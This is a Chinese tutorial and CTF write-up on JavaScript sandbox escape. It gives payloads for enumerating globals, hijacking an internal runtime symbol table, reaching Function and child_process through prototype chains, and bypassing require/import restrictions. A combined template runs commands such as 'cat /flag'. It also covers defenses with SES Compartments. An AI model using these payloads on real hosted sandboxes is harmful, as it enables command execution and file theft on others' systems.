前言

JavaScript 沙箱(Sandbox)是一种隔离执行环境,用于安全地运行不受信任的代码。在现代 Web 和边缘计算中,沙箱技术被广泛应用于:

  • Cloudflare Workers —— 边缘函数运行时
  • Deno Deploy —— 基于 V8 隔离机制的云函数
  • vm2 / isolated-vm —— Node.js 服务端代码隔离
  • SES (Secure ECMAScript) —— 基于 Compartment 的硬隔离
  • QuickJS / Duktape —— 轻量级嵌入式 JS 引擎
  • Web Worker / iframe sandbox —— 浏览器端隔离

沙箱的核心目标是限制代码对危险 API 的访问(如文件系统 fs、进程管理 child_process、网络底层 net),但沙箱自身也是代码——实现中的漏洞可能导致逃逸。

本文从沙箱信息收集讲起,覆盖内部运行时劫持、原型链逃逸、构造函数利用、import 绕过等多种实战技巧。


一、沙箱基础与信息收集

1.1 沙箱的实现层次

1
2
3
4
5
6
7
8
9
┌──────────────────────────────────────────────────────┐
│ 用户代码(受限) │
│ ↓ 只能访问白名单 API │
│ V8 Isolate / ShadowRealm / Compartment │
│ ↓ 与宿主隔离 │
│ 宿主环境(Node.js / Deno / Workers Runtime) │
│ ↓ 完整系统访问 │
│ 操作系统 │
└──────────────────────────────────────────────────────┘

不同沙箱的实现深度差异很大:

沙箱 隔离方式 危险性
SES / Hardened JS Compartment + 冻结全局对象 低(真正的硬隔离)
Cloudflare Workers V8 Isolate + 自定义 globalThis 中(看内部 API 暴露程度)
Deno Deploy V8 Isolate + 权限模型
vm2 (Node.js) Proxy 代理 + 自定义 Context 中高(历史漏洞多)
Node.js vm 模块 纯 JS Context 包装 高(不是安全机制!)
eval() / Function() 无隔离 极高

Node.js 官方文档明确声明:**vm 模块不是安全机制,不要用它运行不可信代码。**

1.2 信息收集:枚举可用全局对象

进入沙箱后,第一步永远是摸清环境——看看有哪些全局变量、内置函数和模块可用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 列出 globalThis 上所有属性
Object.getOwnPropertyNames(globalThis)

// 列出 this 上所有属性
Object.getOwnPropertyNames(this)

// 递归列出所有属性(含原型链)
function getAllProps(obj, depth = 0) {
if (depth > 3 || obj === null || obj === undefined) return;
const props = Object.getOwnPropertyNames(obj);
console.log(`[depth ${depth}] ${props.join(', ')}`);
const proto = Object.getPrototypeOf(obj);
if (proto !== null && proto !== Object.prototype) {
getAllProps(proto, depth + 1);
}
}
getAllProps(globalThis);

1.3 搜索沙箱中的已知模块

原题场景:沙箱暴露了 __runtime 全局对象,通过它可以直接访问底层原生模块。

1
2
3
4
5
6
7
8
9
10
export default {
async fetch(request) {
// __runtime 是沙箱的全局运行时对象
let s = __runtime;

// 枚举运行时上的所有原生模块
let keys = Object.getOwnPropertyNames(s);
return new Response(JSON.stringify(keys));
}
}

返回的模块列表中可能包含内部 API(如 _internallibnativesyscall 等),这些都是后续逃逸的入口点。

1.4 通用信息收集 Payload 集合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 1. 枚举 this 的所有属性(含不可枚举)
Object.getOwnPropertyNames(this)
Reflect.ownKeys(this)

// 2. 探测是否有 require / import
typeof require // 如果存在通常可以直接逃逸
typeof import
typeof process // Node.js 环境标志

// 3. 检查构造函数可用性
typeof Function
typeof Proxy
typeof Symbol

// 4. 查看全局是否有隐藏的内部属性
Object.keys(this).filter(k => k.startsWith('_'))
Object.keys(this).filter(k => k.startsWith('internal'))
Object.keys(this).filter(k => k.startsWith('__'))

// 5. 枚举原型链上的方法
Object.getOwnPropertyNames(Object.prototype)
Object.getOwnPropertyNames(Function.prototype)

// 6. 检测沙箱类型
navigator?.userAgent // 浏览器?
typeof Deno !== 'undefined' // Deno?
typeof __runtime !== 'undefined' // Cloudflare Workers?
typeof globalThis.vm2Main // vm2?

二、内部运行时劫持 —— 访问被隐藏的 API

这是原题的核心技术:沙箱虽然 ban 了 fschild_process 等顶层模块,但底层原生函数仍然存在于运行时内部对象中,只是函数名被混淆了

2.1 原理

1
2
3
4
5
6
7
8
9
10
11
12
13
沙箱暴露的 API:
fetch() ✓
Response() ✓
console.log() ✓
require('fs') ✗ ← 被 ban

内部运行时仍保存的:
__runtime._internal.lib.symbols = {
_0x636174: <native: cat>, ← 函数名被混淆
_0x72656164: <native: read>, ← 但实际功能完整
_0x65786563: <native: exec>,
...
}

沙箱的过滤发生在表层——它移除或拦截了 globalThis 上的 requirefs 等引用,但没有彻底删除底层的 C++ binding。如果攻击者能找到内部运行时对象并定位到混淆后的函数名,就能绕过限制调用原生函数。

2.2 定位内部 API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Step 1: 获取运行时对象
const runtime = __runtime;

// Step 2: 深入内部结构
const internal = runtime['_internal']; // 内部模块引用
const lib = internal['lib']; // 原生库绑定
const symbols = lib['symbols']; // 混淆函数名 → 原生函数映射表

// Step 3: 列出所有可用的混淆函数
Object.keys(symbols).forEach(key => {
console.log(key + ' → ' + typeof symbols[key]);
});
// 输出示例:
// _0x636174 → function (cat/readFile)
// _0x72656164 → function (read)
// _0x7772697465 → function (write)

2.3 调用被混淆的原生函数 —— 读取文件

原文 Payload 解析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
export default {
async fetch(request) {
let out = {};

// 获取内部符号表
let s = __runtime['_internal']['lib']['symbols'];

// _0x72656164 是被混淆的 read 函数名
// 0x72 = 'r', 0x65 = 'e', 0x61 = 'a', 0x64 = 'd'
let f = s['_0x72656164'];

// Uint8Array 构造 "/flag" 字符串
// 47='/', 102='f', 108='l', 97='a', 103='g'
let arr = new Uint8Array([47, 102, 108, 97, 103]);

// 调用原生 read("/flag"),读取 flag 文件内容
out.flag = f(arr);

let safeOut = JSON.stringify(out);
return new Response(safeOut, {
headers: { "Content-Type": "application/json" }
});
}
}

逐行技术分析:

步骤 代码 说明
获取符号表 __runtime['_internal']['lib']['symbols'] 访问沙箱隐藏的内部符号表,用 ['_internal'] 括号语法绕过属性名检查
定位目标函数 s['_0x72656164'] 通过混淆后的 key 定位到原生 read 函数。0x72656164 是 hex 编码的 read
构造参数 new Uint8Array([47, 102, 108, 97, 103]) 构造字节数组传参,最终读取 /flag

为什么用 Uint8Array 而不是字符串 "/flag" 沙箱可能拦截了字符串参数的传递。Uint8Array 作为二进制参数直接交给 C++ binding 处理,绕过了 JS 层的字符串过滤。

2.4 函数名混淆解码

_0x72656164 这类混淆名实际上就是函数名的 hex 编码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 解码 hex 混淆函数名
function decodeHex(name) {
// 去掉 _0x 前缀,每两个字符转为 ASCII
const hex = name.replace('_0x', '');
let result = '';
for (let i = 0; i < hex.length; i += 2) {
result += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
}
return result;
}

console.log(decodeHex('_0x72656164')); // → "read"
console.log(decodeHex('_0x636174')); // → "cat"
console.log(decodeHex('_0x7772697465')); // → "write"

// 反过来:把目标函数名编码为混淆格式
function encodeHex(name) {
let hex = '';
for (let c of name) {
hex += c.charCodeAt(0).toString(16).padStart(2, '0');
}
return '_0x' + hex;
}

console.log(encodeHex('exec')); // → "_0x65786563"
console.log(encodeHex('read')); // → "_0x72656164"
console.log(encodeHex('open')); // → "_0x6f70656e"

如果沙箱给出了符号表,可以用解码脚本快速找出 execspawnopen 等危险函数的混淆名。


三、原型链逃逸

即使沙箱清理了 globalThis,JavaScript 的原型链仍然通向危险对象。

3.1 通过 constructor 链获取 Function 构造器

1
2
3
4
5
6
7
8
// 从任意对象出发
const func = {}.constructor.constructor;
// {}.constructor → Object
// Object.constructor → Function
// → 拿到了 Function 构造器!

// 用 Function 构造器执行任意代码
func('return process')().mainModule.require('child_process').execSync('id').toString();

链式分解:

1
2
3
4
{}.constructor → Object
→ Object.constructor → Function
→ new Function('return process')() → 拿到 Node.js process
→ process.mainModule.require('child_process') → 执行任意命令

3.2 其他原型链入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 从字符串
''.constructor.constructor('return this')()

// 从数组
[].constructor.constructor('return this')()

// 从正则
/./.constructor.constructor('return this')()

// 从 Promise
Promise.resolve().constructor.constructor('return this')()

// 从 async 函数
(async()=>{}).constructor.constructor('return this')()

// 从 Proxy
Proxy.constructor.constructor('return this')()

3.3 突破 Function 被删除的情况

有些沙箱会 delete Function 或设置 Function = undefined。此时可以通过以下路径恢复:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 方法1:通过 GeneratorFunction
function* gen() {}
const Function = gen.constructor.constructor;

// 方法2:通过 AsyncFunction
const AsyncFunction = Object.getPrototypeOf(async function(){}).constructor;
const Function = AsyncFunction.constructor;

// 方法3:通过 Proxy
const Function = Proxy.constructor.constructor;

// 方法4:通过 bound 函数
const bound = (function(){}).bind(null);
const Function = bound.constructor.constructor;

// 方法5:通过 .caller / .arguments(严格模式下不可用)
// function f() { return f.caller.caller; }

// 方法6:iframe / worker(浏览器环境)
// const ifr = document.createElement('iframe');
// const Function = ifr.contentWindow.Function;

四、通过 import() / require() 逃逸

4.1 require 被隐藏但未删除

1
2
3
4
5
6
7
8
9
10
11
12
13
// 通过 process.mainModule 访问 require
const require = process.mainModule.require;
const fs = require('fs');
const flag = fs.readFileSync('/flag', 'utf8');

// 通过 module.constructor
const req = module.constructor.prototype.require;
const cp = req('child_process');
cp.execSync('cat /flag');

// 通过 module._compile
const m = new module.constructor();
m._compile('module.exports = require("child_process")', 'evil.js');

4.2 动态 import 绕过

1
2
3
4
5
6
7
8
9
// 如果沙箱允许 import()
const fs = await import('fs');

// 如果 'fs' 被拦截,尝试路径穿越
const fs = await import('f' + 's');
const fs = await import(String.fromCharCode(102, 115));

// 如果 import 被 Proxy 拦截
const importUnsafe = globalThis.__lookupGetter__('__proto__').constructor.constructor('return import')();

4.3 Deno 环境绕过

1
2
3
4
5
6
7
8
// Deno 沙箱中,如果权限未正确配置
const cmd = Deno.run({ cmd: ['cat', '/flag'] });

// 通过 --allow-read 读取文件
const content = await Deno.readTextFile('/flag');

// 通过 --allow-net 连接内网
const resp = await fetch('http://127.0.0.1:8080/flag');

五、其他逃逸手法

5.1 process.binding() 直接调用 C++ 层

Node.js 中 process.binding() 可以直接访问 V8 的 C++ binding 层,绕过所有 JS 层过滤:

1
2
3
4
5
// 直接调用底层 C++ 函数
const spawn_sync = process.binding('spawn_sync');
// 或
const fs_binding = process.binding('fs');
const flag = fs_binding.open('/flag', 0, 0o666);

5.2 WebAssembly 逃逸

1
2
3
4
// 通过 WASM 执行 shellcode(极罕见,需要特定环境)
const wasmCode = new Uint8Array([0,97,115,109,1,...]); // WASM magic bytes
const module = new WebAssembly.Module(wasmCode);
const instance = new WebAssembly.Instance(module);

5.3 Symbol / WeakMap 渗漏

1
2
3
4
5
// 有些沙箱用 Symbol 做私有属性键,但可以通过反射拿到
const symbols = Object.getOwnPropertySymbols(sandboxObject);
symbols.forEach(sym => {
console.log(sandboxObject[sym]); // 可能泄露内部状态
});

5.4 Error().stack 信息泄露

1
2
3
4
// 通过错误栈获取文件路径和内部函数名
try { throw new Error(); } catch(e) {
console.log(e.stack); // 泄露了文件系统路径、内部函数名
}

5.5 arguments.callee / arguments.caller

1
2
3
4
// 在非严格模式下,可以顺着调用栈拿到外部函数
function escape() {
return arguments.callee.caller; // 拿到沙箱包装函数
}

5.6 RegExp 构造函数——$1$9 信息泄露

1
2
3
4
// 某些环境下 RegExp 静态属性可能泄露
/a(b)c/.test('abc');
console.log(RegExp.$1); // 'b'
console.log(RegExp.input); // 'abc'

六、综合逃逸 Payload 模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
// === 逃逸尝试 1: 原型链 → Function → process ===
try {
const func = {}.constructor.constructor;
const proc = func('return process')();
const cp = proc.mainModule.require('child_process');
const result = cp.execSync('cat /flag').toString();
return new Response(result);
} catch(e) {
console.log('[1] Failed: ' + e.message);
}

// === 逃逸尝试 2: 内部运行时劫持 ===
try {
const symbols = __runtime['_internal']['lib']['symbols'];
// 搜索所有被混淆的函数
for (const key of Object.keys(symbols)) {
if (typeof symbols[key] === 'function') {
// 尝试用 "/flag" 调用每个函数,看返回结果
try {
const arr = new Uint8Array([47, 102, 108, 97, 103]);
const result = symbols[key](arr);
if (result && typeof result === 'string' && result.includes('flag')) {
return new Response(result);
}
} catch(e) { /* 忽略异常 */ }
}
}
} catch(e) {
console.log('[2] Failed: ' + e.message);
}

// === 逃逸尝试 3: 遍历所有全局属性 ===
try {
for (const key of Object.getOwnPropertyNames(globalThis)) {
const val = globalThis[key];
if (val && typeof val === 'object') {
// 递归查找含有 'child_process' 或 'spawn' 的子属性
for (const sub of Object.getOwnPropertyNames(val)) {
if (sub.includes('child') || sub.includes('spawn') || sub.includes('exec')) {
return new Response(JSON.stringify({ key, sub, type: typeof val[sub] }));
}
}
}
}
} catch(e) {
console.log('[3] Failed: ' + e.message);
}

七、沙箱漏洞历史(CVE 汇总)

CVE 影响产品 逃逸方式 年份
CVE-2023-37466 vm2 Proxy 绕过沙箱上下文 2023
CVE-2023-32314 vm2 通过 Proxy + Error.prepareStackTrace 2023
CVE-2023-29017 vm2 Proxy + Symbol.toPrimitive 2023
CVE-2022-36067 vm2 Proxy + Symbol 原型链 2022
CVE-2022-21804 vm2 then handler 异常处理绕过 2022
CVE-2021-23555 vm2 WeakMap 原型链逃逸 2021
CVE-2020-35669 isolate Function 构造器逃逸 2020
Cloudflare Workers (historical) 内部符号表泄露 2020

这些 CVE 说明了一个规律:沙箱逃逸的核心方法集中在原型链操纵、Proxy 滥用、内部对象泄露、反射 API。没有沙箱是完美的。


八、防御措施

层面 措施 说明
架构 真正的进程级隔离(进程/容器),而非 JS 层隔离 isolated-vmfirecrackergVisor
SES/Hardened JS 使用 Compartment + 冻结原型链 基于 ECMAScript 提案的真正硬隔离
权限最小化 运行时不挂载任何文件系统和网络能力 类似 Docker 的 --read-only--net=none
JS 层防御 删除 constructor__proto__constructor.constructor 但总会有遗漏(见上方 CVE 列表)
JS 层防御 遍历并冻结 Object.prototypeFunction.prototype 阻止原型链逃逸
JS 层防御 过滤 Uint8ArrayTextEncoder 等二进制数据 API 防止绕过字符串检测
JS 层防御 移除或 Proxy 拦截所有 _internal / __ 前缀的属性 防止内部 API 泄露
监控 告警沙箱内的异常行为(尝试访问 _internalconstructor.constructor 即使被防御,也应记录日志
原则 永远不要依赖纯 JS 沙箱做安全边界 Node.js vm 文档已经在警告了

防御代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// 安全地创建受限 Context(SES/Compartment 方式)
import 'ses';
lockdown();

const compartment = new Compartment({
// 仅暴露白名单 API
console: harden(console),
fetch: harden(fetch),
Math: harden(Math),
JSON: harden(JSON)
});

const result = compartment.evaluate(untrustedCode);
// 代码无法访问任何白名单之外的全局对象
1
2
3
4
5
6
7
8
// 基础防御:冻结关键对象
delete globalThis.Function;
delete globalThis.eval;
Object.freeze(Object.prototype);
Object.freeze(Function.prototype);
delete Object.prototype.constructor;
delete Object.prototype.__proto__;
// 注意:这仍然不够安全,参考上方 CVE 列表

参考